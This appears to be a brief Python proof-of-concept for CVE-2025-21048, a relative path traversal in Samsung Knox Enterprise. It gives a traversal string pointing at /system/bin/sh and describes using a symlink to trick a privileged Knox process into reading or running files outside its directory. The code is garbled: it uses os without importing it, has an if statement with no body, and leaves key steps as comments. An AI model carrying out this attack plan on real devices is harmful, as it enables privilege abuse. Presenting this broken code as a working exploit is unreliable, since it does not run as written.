# CVE-2025-21048 PoC - Relative Path Traversal in Samsung Knox Enterprise
# This is a conceptual PoC demonstrating the exploitation of relative path traversal

import sys
# Step 1: Create a malicious symlink in a writable directory accessible by Knox Enterprise
target_file = "/data/data/com.samsung.android.knox.containercore/files/target.dat"
malicious_link = "/data/data/com.samsung.android.knox.containercore/files/innocent_file"

# Step 2: Create a relative symlink that points outside the expected directory
# The relative path traversal bypasses directory restrictions
relative_traversal_path = "../../../../../../system/bin/sh"

# Remove existing file/link if present
if os.path.exists(malicious_link) or os.path.islink(malicious_link):

# Create the malicious relative symlink

# Step 3: Trigger the vulnerable Knox Enterprise process
# When the privileged process accesses 'innocent_file', it follows the symlink
# and executes/reads the target file outside the intended directory
